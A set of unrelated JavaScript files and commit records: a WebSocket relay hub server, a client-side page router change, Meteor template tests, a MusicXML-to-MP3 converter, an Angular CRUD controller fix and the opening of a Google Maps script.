    request.reject();
    logger.info((new Date()) + ' Connection from origin ' + request.origin + ' rejected.');
    return;
  }

  var id = request.httpRequest.url.replace(/^\/+hub\/+/, '').replace(/\//g, "");
  if (! id) {
    request.reject(404, 'No ID Found');
    return;
  }

  // FIXME: we should use a protocol here instead of null, but I can't
  // get it to work.  "Protocol" is what the two clients are using
  // this channel for (we don't bother to specify this)
  var connection = request.accept(null, request.origin);
  connection.ID = ID++;
  if (! allConnections[id]) {
    allConnections[id] = [];
    connectionStats[id] = {
      created: Date.now(),
      sample: [],
      clients: {},
      domains: {},
      urls: {},
      firstDomain: null,
      totalMessageChars: 0,
      totalMessages: 0,
      connections: 0
    };
  }
  allConnections[id].push(connection);
  connectionStats[id].connections++;
  connectionStats[id].lastLeft = null;
  logger.debug((new Date()) + ' Connection accepted to ' + JSON.stringify(id) + ' ID:' + connection.ID);
  connection.sendUTF(JSON.stringify({
    type: "init-connection",
    peerCount: allConnections[id].length-1
  }));
  connection.on('message', function(message) {
    var parsed;
    try {
      parsed = JSON.parse(message.utf8Data);
    } catch (e) {
      logger.warn((new Date()) + ' error parsing JSON: ' + JSON.stringify(message.utf8Data) + ": " + e);
      return;
    }
    connectionStats[id].clients[parsed.clientId] = true;
    var domain = null;
    if (parsed.url) {
      domain = parseUrl(parsed.url).hostname;
      connectionStats[id].urls[parsed.url] = true;
    }
    if ((! connectionStats[id].firstDomain) && domain) {
      connectionStats[id].firstDomain = domain;
    }
    connectionStats[id].domains[domain] = true;
    connectionStats[id].totalMessageChars += message.utf8Data.length;
    connectionStats[id].totalMessages++;
    logger.debug('Message on ' + id + ' bytes: ' +
                 (message.utf8Data && message.utf8Data.length) +
                 ' conn ID: ' + connection.ID + ' data:' + message.utf8Data.substr(0, 20) +
                 ' connections: ' + allConnections[id].length);
    for (var i=0; i<allConnections[id].length; i++) {
      var c = allConnections[id][i];
      if (c == connection && !parsed["server-echo"]) {
        continue;
      }
      if (message.type === 'utf8') {
        c.sendUTF(message.utf8Data);
      } else if (message.type === 'binary') {
        c.sendBytes(message.binaryData);
      }
    }
  });
  connection.on('close', function(reasonCode, description) {
    if (! allConnections[id]) {
      // Got cleaned up entirely, somehow?
      logger.info("Connection ID", id, "was cleaned up entirely before last connection closed");
      return;
    }
    var index = allConnections[id].indexOf(connection);
    if (index != -1) {
      allConnections[id].splice(index, 1);
    }
    if (! allConnections[id].length) {
      delete allConnections[id];
      connectionStats[id].lastLeft = Date.now();
    }
    logger.debug((new Date()) + ' Peer ' + connection.remoteAddress + ' disconnected, ID: ' + connection.ID);
  });
});

setInterval(function () {
  for (var id in connectionStats) {
    if (connectionStats[id].lastLeft && Date.now() - connectionStats[id].lastLeft > EMPTY_ROOM_LOG_TIMEOUT) {
      logStats(id, connectionStats[id]);
      delete connectionStats[id];
      continue;
    }
    var totalClients = countClients(connectionStats[id].clients);
    var connections = 0;
    if (allConnections[id]) {
      connections = allConnections[id].length;
    }
    connectionStats[id].sample.push({
      time: Date.now(),
      totalClients: totalClients,
      connections: connections
    });
  }
}, SAMPLE_STATS_INTERVAL);

function countClients(clients) {
  var n = 0;
  for (var clientId in clients) {
    n++;
  }
  return n;
}

function logStats(id, stats) {
  logger.info("STATS", JSON.stringify({
    id: id,
    created: stats.created,
    sample: stats.sample,
    totalClients: countClients(stats.clients),
    totalMessageChars: stats.totalMessageChars,
    totalMessages: stats.totalMessages,
    domain: stats.firstDomain || null,
    domainCount: countClients(stats.domains),
    urls: countClients(stats.urls)
  }));
}

if (require.main == module) {
  var ops = require('optimist')
      .usage("Usage: $0 [--port 8080] [--host localhost]")
      .describe("port", "The port to server on (default $HUB_SERVER_PORT, $PORT, $VCAP_APP_PORT, or 8080")
      .describe("host", "The interface to serve on (default $HUB_SERVER_HOST, $HOST, $VCAP_APP_HOST, 127.0.0.1).  Use 0.0.0.0 to make it public")
      .describe("log-level", "The level of logging to do, from 0 (very verbose) to 5 (nothing) (default $LOG_LEVEL or 0)");
  var port = ops.argv.port || process.env.HUB_SERVER_PORT || process.env.VCAP_APP_PORT ||
      process.env.PORT || 8080;
  var host = ops.argv.host || process.env.HUB_SERVER_HOST || process.env.VCAP_APP_HOST ||
      process.env.HOST || '127.0.0.1';
  if (ops.argv['log-level']) {
    logLevel = parseInt(ops.argv['log-level'], 10);
  }
  if (ops.argv.h || ops.argv.help) {
    console.log(ops.help());
    process.exit();
  } else {
    startServer(port, host);
  }
}

exports.startServer = startServer;
<|endoftext|>


<commit_before>
var EventEmitter = require('events').EventEmitter,
	logger = require('../logging').getLogger(__LOGGER__),
	Router = require('routr'),
	Q = require('q'),
	History = require("../components/History"),
	PageUtil = require("../util/PageUtil");

var _ = {
	isFunction: require('lodash/lang/isFunction'),
};

class Navigator extends EventEmitter {

	constructor (context, routes) {
		super();

		this.router = new Router(routes.routes);
		this.context = context;

		this._globalMiddleware = routes.middleware;
		this._loading = false;
		this._currentRoute = null;
		this._nextRoute = null;
	}

	/**
	 * type is one of
	 *    History.events.PUSHSTATE: user clicked something to go forward but browser didn't do a
	 * full page load
	 *    History.events.POPSTATE: user clicked back button but browser didn't do a full page load
	 *    History.events.PAGELOAD: full browser page load, not using History API.
	 *
	 * Default is History.events.PAGELOAD.
	 */
	navigate (request, type) {
		logger.debug(`Navigating to ${request.getUrl()}`);
		type = type || History.events.PAGELOAD;

		// If we're running without client navigation and this is a
		// navigation away from the initial page we'll just let the
		// browser handle this request as a normal page load.
		if (global.__tritonDisableClientNavigation && this._haveInitialized){
			window.location.href = request.getUrl();
			return;
		}

		this._haveInitialized = true;

		var route = this.router.getRoute(request.getUrl(), {navigate: {path:request.getUrl(), type:type}});

		if (route) {
			logger.debug(`Mapped ${request.getUrl()} to route ${route.name}`);
		} else if (!request._frameback) {
			setTimeout( () => {
				this.emit('navigateDone', { status: 404, message: "No Route!" }, null, request.getUrl(), type);
			}, 0);
			return;
		}

		// We may or may not _actually_ start this route client side.
		//
		// If there's a flurry of navigation we skip any routes that
		// blow by while we're still working on a page, and only
		// finally start the _last_ one.
		//
		// The promise returned from `startRoute()` will be rejected
		// if we're not going to proceed, so resources will be freed.
		//
		this.startRoute(route, request, type).then(() => {
			if (this._ignoreCurrentNavigation){
				// This is a one-time deal.
				this._ignoreCurrentNavigation = false;
				return;
			}

			/* Breathe... */

			var loaders = route.config.page;

			// Normalize.
			// The page object may either directly be a loader or
			// it may be an object whose values are loaders.
			if (_.isFunction(loaders)){
				loaders = {'default': loaders};
			}

			var loadPage = loaders.default;

			if (loaders.mobile && this.context.getMobileDetect().phone()){

				// Need to disambiguate for bundleNameUtil.
				route.name += '-mobile';

				loadPage = loaders.mobile;
			}

			if (loaders.mobile && this.context.getMobileDetect().tablet()){

				// Need to disambiguate for bundleNameUtil.
				route.name += '-tablet';

				loadPage = loaders.tablet;
			}

			loadPage().done(pageConstructor => {
				if (request.setRoute) {
					request.setRoute(route);
				}
				this.handlePage(pageConstructor, request, type);

			}, err => {
				console.error("Error resolving page", err);
			});

		});

	}

	// If you call this you're responsible for calling `finishRoute()`
	// when you're done with whatever it is you're hiding from the
	// navigator.
	ignoreCurrentNavigation() {
		this._ignoreCurrentNavigation = true;
	}

	handlePage(pageConstructor, request, type) {
		// instantiate the pages we need to fulfill this request.
		var pageClasses = [];

		this._addPageMiddlewareToArray(this._globalMiddleware, pageClasses);
		this._addPageMiddlewareToArray([pageConstructor], pageClasses);

		var pages = pageClasses.map((pageClass) => {
			if (Object.getOwnPropertyNames(pageClass).length === 0) {
				throw new Error("Tried to instantiate a page or middleware class that was an empty object. Did you forget to assign a class to module.exports?");
			}
			return new pageClass();
		});
		var page = PageUtil.createPageChain(pages);

		page.setRequest(request);

		PageUtil.PageConfig.initFromPageWithDefaults(page, {
			isFragment    : false,
			isRawResponse : false,
		});

		// call page.handleRoute(), and use the resulting code to decide how to
		// respond.
		page.handleRoute().then(handleRouteResult => {

			page.setStatus(handleRouteResult.code);

			// TODO: I think that 3xx/4xx/5xx shouldn't be considered "errors" in navigateDone, but that's
			// how the code is structured right now, and I'm changing too many things at once at the moment. -sra.
			if (handleRouteResult.code && ((handleRouteResult.code / 100)|0) !== 2) {
				this.emit("navigateDone", {status: handleRouteResult.code, redirectUrl: handleRouteResult.location}, null, request.getUrl(), type);
				return;
			}
			if (handleRouteResult.page) {
				// in this case, we should forward to a new page *without* changing the URL. Since we are already
				// in an async callback, we should schedule a new handlePage with the new page constructor and return
				// from this call.
				setTimeout(() => this.handlePage(handleRouteResult.page, request, type), 0);
				return;
			}

			this.emit('navigateDone', null, page, request.getUrl(), type);
		}).catch(err => {
			logger.error("Error while handling route", err);
			this.emit('navigateDone', {status: 500}, page, request.getUrl(), type);
		});

	}

	/**
	 * recursively adds the middleware in the pages array to array.
	 */
	_addPageMiddlewareToArray(pages, array) {
		if (!pages) return;
		pages.forEach((page) => {
			if (page.middleware) {
				this._addPageMiddlewareToArray(page.middleware(), array);
			}
			array.push(page);
		});
	}

	getState () {
		return {
			loading: this._loading,
			route: this._currentRoute,
		}
	}

	getCurrentRoute () {
		return this._currentRoute;
	}

	getLoading () {
		return this._loading;
	}

	startRoute (route, request, type) {

		// If we're being called with a requested route, we'll need to
		// tell the caller when they can proceed with their
		// navigation.
		var dfd, promise;

		// We need to handle the case where routes are requested while
		// we're handling the previous navigation.  This can happen if
		// the user furiously clicks the browser's forward/back
		// navigation buttons.
		//
		// We don't want a _queue_ here, because we're only ultimately
		// going to show the user the _final_ route that's requested,
		// so we'll just keep a single reference to the next route we
		// need to actually render once our current navigation is
		// complete.
		//
		if (request) {

			// We don't want to leave navigation detritus
			// laying around as we discard bypassed pages.
			if (this._nextRoute) this._nextRoute[1].reject();

			dfd = Q.defer(), promise = dfd.promise;

			this._nextRoute = [route, request, type, dfd];
		}

		// If we're _currently_ navigating, we'll wait to start the
		// next route until this navigation is complete.  Interleaved
		// navigation causes all kinds of havoc.
		if (!this._loading && this._nextRoute){

			[route, request, type, dfd] = this._nextRoute;

			this._loading      = true;
			this._currentRoute = route;
			this._nextRoute    = null;

			this.emit('navigateStart', {route, request, type});

			// This allows the actual navigation to
			// proceed.
			dfd.resolve();
		}

		return promise;
	}

	finishRoute () {
		this._loading = false;

		// If other routes were queued while we were navigating, we'll
		// start the next one right off.
		//
		this.startRoute();
	}
}

module.exports = Navigator;
<commit_msg>PLAT-428: Disambiguate 'mobile' to 'phone'<commit_after>
var EventEmitter = require('events').EventEmitter,
	logger = require('../logging').getLogger(__LOGGER__),
	Router = require('routr'),
	Q = require('q'),
	History = require("../components/History"),
	PageUtil = require("../util/PageUtil");

var _ = {
	isFunction: require('lodash/lang/isFunction'),
};

class Navigator extends EventEmitter {

	constructor (context, routes) {
		super();

		this.router = new Router(routes.routes);
		this.context = context;

		this._globalMiddleware = routes.middleware;
		this._loading = false;
		this._currentRoute = null;
		this._nextRoute = null;
	}

	/**
	 * type is one of
	 *    History.events.PUSHSTATE: user clicked something to go forward but browser didn't do a
	 * full page load
	 *    History.events.POPSTATE: user clicked back button but browser didn't do a full page load
	 *    History.events.PAGELOAD: full browser page load, not using History API.
	 *
	 * Default is History.events.PAGELOAD.
	 */
	navigate (request, type) {
		logger.debug(`Navigating to ${request.getUrl()}`);
		type = type || History.events.PAGELOAD;

		// If we're running without client navigation and this is a
		// navigation away from the initial page we'll just let the
		// browser handle this request as a normal page load.
		if (global.__tritonDisableClientNavigation && this._haveInitialized){
			window.location.href = request.getUrl();
			return;
		}

		this._haveInitialized = true;

		var route = this.router.getRoute(request.getUrl(), {navigate: {path:request.getUrl(), type:type}});

		if (route) {
			logger.debug(`Mapped ${request.getUrl()} to route ${route.name}`);
		} else if (!request._frameback) {
			setTimeout( () => {
				this.emit('navigateDone', { status: 404, message: "No Route!" }, null, request.getUrl(), type);
			}, 0);
			return;
		}

		// We may or may not _actually_ start this route client side.
		//
		// If there's a flurry of navigation we skip any routes that
		// blow by while we're still working on a page, and only
		// finally start the _last_ one.
		//
		// The promise returned from `startRoute()` will be rejected
		// if we're not going to proceed, so resources will be freed.
		//
		this.startRoute(route, request, type).then(() => {
			if (this._ignoreCurrentNavigation){
				// This is a one-time deal.
				this._ignoreCurrentNavigation = false;
				return;
			}

			/* Breathe... */

			var loaders = route.config.page;

			// Normalize.
			// The page object may either directly be a loader or
			// it may be an object whose values are loaders.
			if (_.isFunction(loaders)){
				loaders = {'default': loaders};
			}

			var loadPage = loaders.default;

			if (loaders.mobile && this.context.getMobileDetect().phone()){

				// Need to disambiguate for bundleNameUtil.
				route.name += '-phone';

				loadPage = loaders.phone;
			}

			if (loaders.mobile && this.context.getMobileDetect().tablet()){

				// Need to disambiguate for bundleNameUtil.
				route.name += '-tablet';

				loadPage = loaders.tablet;
			}

			loadPage().done(pageConstructor => {
				if (request.setRoute) {
					request.setRoute(route);
				}
				this.handlePage(pageConstructor, request, type);

			}, err => {
				console.error("Error resolving page", err);
			});

		});

	}

	// If you call this you're responsible for calling `finishRoute()`
	// when you're done with whatever it is you're hiding from the
	// navigator.
	ignoreCurrentNavigation() {
		this._ignoreCurrentNavigation = true;
	}

	handlePage(pageConstructor, request, type) {
		// instantiate the pages we need to fulfill this request.
		var pageClasses = [];

		this._addPageMiddlewareToArray(this._globalMiddleware, pageClasses);
		this._addPageMiddlewareToArray([pageConstructor], pageClasses);

		var pages = pageClasses.map((pageClass) => {
			if (Object.getOwnPropertyNames(pageClass).length === 0) {
				throw new Error("Tried to instantiate a page or middleware class that was an empty object. Did you forget to assign a class to module.exports?");
			}
			return new pageClass();
		});
		var page = PageUtil.createPageChain(pages);

		page.setRequest(request);

		PageUtil.PageConfig.initFromPageWithDefaults(page, {
			isFragment    : false,
			isRawResponse : false,
		});

		// call page.handleRoute(), and use the resulting code to decide how to
		// respond.
		page.handleRoute().then(handleRouteResult => {

			page.setStatus(handleRouteResult.code);

			// TODO: I think that 3xx/4xx/5xx shouldn't be considered "errors" in navigateDone, but that's
			// how the code is structured right now, and I'm changing too many things at once at the moment. -sra.
			if (handleRouteResult.code && ((handleRouteResult.code / 100)|0) !== 2) {
				this.emit("navigateDone", {status: handleRouteResult.code, redirectUrl: handleRouteResult.location}, null, request.getUrl(), type);
				return;
			}
			if (handleRouteResult.page) {
				// in this case, we should forward to a new page *without* changing the URL. Since we are already
				// in an async callback, we should schedule a new handlePage with the new page constructor and return
				// from this call.
				setTimeout(() => this.handlePage(handleRouteResult.page, request, type), 0);
				return;
			}

			this.emit('navigateDone', null, page, request.getUrl(), type);
		}).catch(err => {
			logger.error("Error while handling route", err);
			this.emit('navigateDone', {status: 500}, page, request.getUrl(), type);
		});

	}

	/**
	 * recursively adds the middleware in the pages array to array.
	 */
	_addPageMiddlewareToArray(pages, array) {
		if (!pages) return;
		pages.forEach((page) => {
			if (page.middleware) {
				this._addPageMiddlewareToArray(page.middleware(), array);
			}
			array.push(page);
		});
	}

	getState () {
		return {
			loading: this._loading,
			route: this._currentRoute,
		}
	}

	getCurrentRoute () {
		return this._currentRoute;
	}

	getLoading () {
		return this._loading;
	}

	startRoute (route, request, type) {

		// If we're being called with a requested route, we'll need to
		// tell the caller when they can proceed with their
		// navigation.
		var dfd, promise;

		// We need to handle the case where routes are requested while
		// we're handling the previous navigation.  This can happen if
		// the user furiously clicks the browser's forward/back
		// navigation buttons.
		//
		// We don't want a _queue_ here, because we're only ultimately
		// going to show the user the _final_ route that's requested,
		// so we'll just keep a single reference to the next route we
		// need to actually render once our current navigation is
		// complete.
		//
		if (request) {

			// We don't want to leave navigation detritus
			// laying around as we discard bypassed pages.
			if (this._nextRoute) this._nextRoute[1].reject();

			dfd = Q.defer(), promise = dfd.promise;

			this._nextRoute = [route, request, type, dfd];
		}

		// If we're _currently_ navigating, we'll wait to start the
		// next route until this navigation is complete.  Interleaved
		// navigation causes all kinds of havoc.
		if (!this._loading && this._nextRoute){

			[route, request, type, dfd] = this._nextRoute;

			this._loading      = true;
			this._currentRoute = route;
			this._nextRoute    = null;

			this.emit('navigateStart', {route, request, type});

			// This allows the actual navigation to
			// proceed.
			dfd.resolve();
		}

		return promise;
	}

	finishRoute () {
		this._loading = false;

		// If other routes were queued while we were navigating, we'll
		// start the next one right off.
		//
		this.startRoute();
	}
}

module.exports = Navigator;
<|endoftext|>


<commit_before>'use strict';

describe('cards_portfolio_item', function() {

	var testParent,
			itemData;

	describe('template', function() {

		beforeEach(function() {
			/**
			 *	Dummy data for the portfolio item
			 */
			itemData = {
				fields: {
					dateCreated: '2015-08-15',
					description: 'A test description',
					githubUrl: 'http://github.com/test/project',
					productionUrl: 'http://test.tld',
					screenshots: [
						{
							fields: {
								description: 'portfolio',
								title: 'Test Title'
							},
							sys: {
								id: 'abcd123'
							}
						},
						{
							fields: {
								description: 'portfolio',
								title: 'Test Title'
							},
							sys: {
								id: 'efgh456'
							}
						}
					],
					skills: [
						{
							fields: {
								title: 'Skill One'
							},
							sys: {
								id: 'ij78'
							}
						},
						{
							fields: {
								title: 'Skill Two'
							},
							sys: {
								id: 'kl910'
							}
						},
						{
							fields: {
								title: 'Skill Three'
							},
							sys: {
								id: 'mn11'
							}
						}
					],
					title: 'Test Title',
					urlTitle: '/test.tld'
				}
			};

			testParent = document.createElement('div');
			testParent.className = 'wrapper wrapper--content';
		});

		afterEach(function() {
			while(testParent.firstChild) {
				testParent.removeChild(testParent.firstChild);
			}
		});

		it('should render the correct content', function(done) {

			/**
			 *	Setting up nodes to test
			 */
			var title, production_link, description, skills;

			/**
			 *	Spies
			 */
			spyOn(Meteor, 'subscribe').and.returnValue({
				subscriptionId: 2,
				ready: function() {
					return true;
				}
			});

			spyOn(Core.app.collections.entries, 'find').and.returnValue({
				fetch: function() {
					return [
						{title: 'Skill One'},
						{title: 'Skill Two'},
						{title: 'Skill Three'}
					];
				}
			});

			/**
			 *	Render the content with data
			 */
			Blaze.renderWithData(Template.cards_portfolio_item, itemData, testParent);

			/**
			 *	Run the tests
			 */

			/**
			 *	Finished
			 */
			setTimeout(done, 200);
		});

	});

});<commit_msg>Added tests for the portfolio item card.<commit_after>'use strict';

describe('cards_portfolio_item', function() {

	var testParent,
			itemData;

	describe('template', function() {

		beforeEach(function() {
			/**
			 *	Dummy data for the portfolio item
			 */
			itemData = {
				fields: {
					dateCreated: '2015-08-15',
					description: 'A test description',
					githubUrl: 'http://github.com/test/project',
					productionUrl: 'http://test.tld',
					screenshots: [
						{
							fields: {
								description: 'portfolio',
								title: 'Test Title'
							},
							sys: {
								id: 'abcd123'
							}
						},
						{
							fields: {
								description: 'portfolio',
								title: 'Test Title'
							},
							sys: {
								id: 'efgh456'
							}
						}
					],
					skills: [
						{
							fields: {
								title: 'Skill One'
							},
							sys: {
								id: 'ij78'
							}
						},
						{
							fields: {
								title: 'Skill Two'
							},
							sys: {
								id: 'kl910'
							}
						},
						{
							fields: {
								title: 'Skill Three'
							},
							sys: {
								id: 'mn11'
							}
						}
					],
					title: 'Test Title',
					urlTitle: '/test.tld'
				}
			};

			testParent = document.createElement('div');
			testParent.className = 'wrapper wrapper--content';
		});

		afterEach(function() {
			while(testParent.firstChild) {
				testParent.removeChild(testParent.firstChild);
			}
		});

		it('should render the correct content', function(done) {

			/**
			 *	Setting up nodes to test
			 */
			var links, description, skills;

			/**
			 *	Spies
			 */
			spyOn(Meteor, 'subscribe').and.returnValue({
				subscriptionId: 2,
				ready: function() {
					return true;
				}
			});

			spyOn(Core.app.collections.entries, 'find').and.returnValue({
				fetch: function() {
					return [
						{
							fields: {
								title: 'Skill One'
							}
						},
						{
							fields: {
								title: 'Skill Two'
							}
						},
						{
							fields: {
								title: 'Skill Three'
							}
						}
					];
				}
			});

			/**
			 *	Render the content with data
			 */
			Blaze.renderWithData(Template.cards_portfolio_item, itemData, testParent);
			links = testParent.getElementsByClassName('item__content__link');
			description = testParent.getElementsByTagName('p');
			skills = testParent.getElementsByClassName('item__skills__list__item');

			/**
			 *	Run the tests
			 */
			expect(links[0].firstChild.wholeText.trim()).toEqual('Test Title');
			expect(links[0].getAttribute('href')).toEqual('http://test.tld');
			expect(links[1].getAttribute('href')).toEqual('http://github.com/test/project');
			expect(description[0].firstChild.wholeText.trim()).toEqual('A test description');
			expect(skills.length).toEqual(3);
			expect(skills[0].firstChild.wholeText.trim()).toEqual('Skill One');
			expect(skills[1].firstChild.wholeText.trim()).toEqual('Skill Two');
			expect(skills[2].firstChild.wholeText.trim()).toEqual('Skill Three');

			/**
			 *	Finished
			 */
			setTimeout(done, 200);
		});

		it('should not render the project title as a link when there is no production url', function(done) {

			var title;

			/**
			 *	Spies
			 */
			spyOn(Meteor, 'subscribe').and.returnValue({
				subscriptionId: 2,
				ready: function() {
					return true;
				}
			});

			/**
			 *	Remove the production url from the dummy data
			 */
			delete itemData.fields.productionUrl;

			/**
			 *	Render the template
			 */
			Blaze.renderWithData(Template.cards_portfolio_item, itemData, testParent);
			title = testParent.getElementsByClassName('item__content__info__title')[0];

			/**
			 *	Then test to see if the first child is a text node (and not a link)
			 */
			expect(title.firstChild.wholeText.trim()).toEqual('Test Title');

			/**
			 *	Finished
			 */
			setTimeout(done, 200);
		});

		it('should not render the skills block title as a link when there is no github url', function(done) {

			var skillsTitle;

			/**
			 *	Spies
			 */
			spyOn(Meteor, 'subscribe').and.returnValue({
				subscriptionId: 2,
				ready: function() {
					return true;
				}
			});

			/**
			 *	Remove the production url from the dummy data
			 */
			delete itemData.fields.githubUrl;

			/**
			 *	Render the template
			 */
			Blaze.renderWithData(Template.cards_portfolio_item, itemData, testParent);
			skillsTitle = testParent.getElementsByClassName('skills__title')[0];

			/**
			 *	Then test to see if the first child is a text node (and not a link)
			 */
			expect(skillsTitle.firstChild.wholeText.trim()).toEqual('Code / Skills');

			/**
			 *	Finished
			 */
			setTimeout(done, 200);
		});

	});

});<|endoftext|>


<commit_before>"use strict";
<commit_msg>Implemented function to convert MusicXML to MP3<commit_after>"use strict";

var fs = require("fs");
var lame = require("lame");
var xml2pcm = require("musicxml-to-pcm");

module.exports.convert = function(srcFile, destFile) {
  var bitsPerSample = 16; // A 16-bit integer will represent each sample.
  var samplesPerSecond = 44100;

  return xml2pcm
  .newStream(fs.readFileSync(srcFile, "utf8"), bitsPerSample, samplesPerSecond)
  .pipe(new lame.Encoder({ channels: 1, bitDepth: bitsPerSample, sampleRate: samplesPerSecond }))
  .pipe(fs.createWriteStream(destFile));
};
<|endoftext|>


<commit_before>"use strict";

(function() {

    GenericControllerCrudList.$inject=['repositoryFactory', '$location','metadataEntities'];
    function GenericControllerCrudList(repositoryFactory, $location, metadataEntities) {
        this.extendScope = function(scope, controllerParams) {
            scope.models = {};
            scope.filter = {};
            scope.orderby = []; //Array con objetos con las propiedades fieldName y orderDirection. La propiedad orderDirection soporta los valores "ASC" y "DESC"
            scope.page = {};
            scope.businessMessages = null;
            angular.extend(scope, controllerParams);
            scope.repository = repositoryFactory.getRepository(scope.entity);
            scope.idName = metadataEntities.getMetadata(scope.entity).primaryKeyPropertyName;
            //Paginacion y busqueda
            if (!scope.page.pageNumber) {
                scope.page.pageNumber = 0;
            }
            scope.page.totalPages = undefined;
            scope.$watch("page.pageNumber", function(newValue, oldValue) {
                if (newValue === oldValue) {
                    return;
                }
                scope.search();
            });
            scope.$watch("page.pageSize", function(newValue, oldValue) {
                if (newValue === oldValue) {
                    return;
                }
                scope.page.pageNumber = 0;
                scope.search();
            });
            scope.$watch("order", function(newValue, oldValue) {
                if (newValue === oldValue) {
                    return;
                }
                scope.page.pageNumber = 0;
                scope.search();
            }, true);

            scope.search = function() {
                if (scope.parentProperty && scope.parentId) {
                    scope.filter[scope.parentProperty] = scope.parentId;
                }

                scope.repository.search(scope.filter, scope.orderby, undefined, scope.page.pageNumber, scope.page.pageSize).then(function(data) {
                    if (angular.isArray(data)) {
                        scope.models = data;
                    } else {
                        //Si no es un array es un objeto "Page" Y lo comprobamos
                        if (data.hasOwnProperty("pageNumber") && data.hasOwnProperty("content") && data.hasOwnProperty("totalPages")) {
                            //Comprobamos este IF pq puede hbaer varias peticiones AJAX en curso y solo queremos la actual
                            if (scope.page.pageNumber === data.pageNumber) {
                                scope.models = data.content;
                                scope.page.totalPages = data.totalPages;
                            }
                        } else {
                            throw Error("Los datos retornados por el servidor no son un objeto 'Page'");
                        }
                    }
                }, function(businessMessages) {
                    scope.businessMessages = businessMessages;
                });
            };

            scope.buttonSearch = function() {
                scope.page.pageNumber = 0;
                scope.search();
            };
            scope.buttonNew = function() {
                var newPath = getPathAction("new", scope.entity, undefined, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };
            scope.buttonEdit = function(id) {
                var newPath = getPathAction("edit", scope.entity, id, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };
            scope.buttonDelete = function(id) {
                var newPath = getPathAction("delete", scope.entity, id, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };
            scope.buttonView = function(id) {
                var newPath = getPathAction("view", scope.entity, id, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };

            /**
             * Obtiene el path a navegar para una acción  un formulario
             * @param {String} actionName La accion:"new","edit","delete" o "view". Corresponde a las parte del path de las rutas.
             * @param {String} entity El nombre de la entidad
             * @param {Object} pk El valor de la clave primaria
             * @param {String} parentProperty El nombre de la propiedad padre que se asocia
             * @param {Object} parentId El valor de la propiedad 'parentProperty'
             * @returns {String} El Path a navegar. No se incluye la "#".
             */
            function getPathAction(actionName, entity, pk, parentProperty, parentId) {
                var path = "/" + entity.toLowerCase() + "/" + actionName;
                if (pk) {
                    path = path + "/" + pk;
                }
                if ((parentProperty) && (parentId)) {
                    if (typeof (parentId) !== "string") {
                        throw Error("El tipo del argumento parentId debe ser un String pq es el nombre de una propiedad y no su valor");
                    }

                    path = path + "/" + parentProperty + "/" + parentId;
                }
                return path;
            }

        };
    }

    angular.module('es.logongas.ix3').service("genericControllerCrudList", GenericControllerCrudList);

}());

<commit_msg>Error: No hacia las búsquedas con "expand"<commit_after>"use strict";

(function() {

    GenericControllerCrudList.$inject=['repositoryFactory', '$location','metadataEntities'];
    function GenericControllerCrudList(repositoryFactory, $location, metadataEntities) {
        this.extendScope = function(scope, controllerParams) {
            scope.models = {};
            scope.filter = {};
            scope.orderby = []; //Array con objetos con las propiedades fieldName y orderDirection. La propiedad orderDirection soporta los valores "ASC" y "DESC"
            scope.page = {};
            scope.businessMessages = null;
            angular.extend(scope, controllerParams);
            scope.repository = repositoryFactory.getRepository(scope.entity);
            scope.idName = metadataEntities.getMetadata(scope.entity).primaryKeyPropertyName;
            //Paginacion y busqueda
            if (!scope.page.pageNumber) {
                scope.page.pageNumber = 0;
            }
            scope.page.totalPages = undefined;
            scope.$watch("page.pageNumber", function(newValue, oldValue) {
                if (newValue === oldValue) {
                    return;
                }
                scope.search();
            });
            scope.$watch("page.pageSize", function(newValue, oldValue) {
                if (newValue === oldValue) {
                    return;
                }
                scope.page.pageNumber = 0;
                scope.search();
            });
            scope.$watch("order", function(newValue, oldValue) {
                if (newValue === oldValue) {
                    return;
                }
                scope.page.pageNumber = 0;
                scope.search();
            }, true);

            scope.search = function() {
                if (scope.parentProperty && scope.parentId) {
                    scope.filter[scope.parentProperty] = scope.parentId;
                }

                scope.repository.search(scope.filter, scope.orderby, scope.expand, scope.page.pageNumber, scope.page.pageSize).then(function(data) {
                    if (angular.isArray(data)) {
                        scope.models = data;
                    } else {
                        //Si no es un array es un objeto "Page" Y lo comprobamos
                        if (data.hasOwnProperty("pageNumber") && data.hasOwnProperty("content") && data.hasOwnProperty("totalPages")) {
                            //Comprobamos este IF pq puede hbaer varias peticiones AJAX en curso y solo queremos la actual
                            if (scope.page.pageNumber === data.pageNumber) {
                                scope.models = data.content;
                                scope.page.totalPages = data.totalPages;
                            }
                        } else {
                            throw Error("Los datos retornados por el servidor no son un objeto 'Page'");
                        }
                    }
                }, function(businessMessages) {
                    scope.businessMessages = businessMessages;
                });
            };

            scope.buttonSearch = function() {
                scope.page.pageNumber = 0;
                scope.search();
            };
            scope.buttonNew = function() {
                var newPath = getPathAction("new", scope.entity, undefined, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };
            scope.buttonEdit = function(id) {
                var newPath = getPathAction("edit", scope.entity, id, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };
            scope.buttonDelete = function(id) {
                var newPath = getPathAction("delete", scope.entity, id, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };
            scope.buttonView = function(id) {
                var newPath = getPathAction("view", scope.entity, id, scope.parentProperty, scope.parentId);
                $location.path(newPath).search({});
            };

            /**
             * Obtiene el path a navegar para una acción  un formulario
             * @param {String} actionName La accion:"new","edit","delete" o "view". Corresponde a las parte del path de las rutas.
             * @param {String} entity El nombre de la entidad
             * @param {Object} pk El valor de la clave primaria
             * @param {String} parentProperty El nombre de la propiedad padre que se asocia
             * @param {Object} parentId El valor de la propiedad 'parentProperty'
             * @returns {String} El Path a navegar. No se incluye la "#".
             */
            function getPathAction(actionName, entity, pk, parentProperty, parentId) {
                var path = "/" + entity.toLowerCase() + "/" + actionName;
                if (pk) {
                    path = path + "/" + pk;
                }
                if ((parentProperty) && (parentId)) {
                    if (typeof (parentId) !== "string") {
                        throw Error("El tipo del argumento parentId debe ser un String pq es el nombre de una propiedad y no su valor");
                    }

                    path = path + "/" + parentProperty + "/" + parentId;
                }
                return path;
            }

        };
    }

    angular.module('es.logongas.ix3').service("genericControllerCrudList", GenericControllerCrudList);

}());

<|endoftext|>


<commit_before>var directionsDisplay;
var directionsService = new google.maps.DirectionsService();
var distanceMatrixService = new google.maps.DistanceMatrixService();
var map;

/**
 * Called when the page is loaded and performs all needed initialization.
 */
initialize = function() {
  directionsDisplay = new google.maps.DirectionsRenderer();
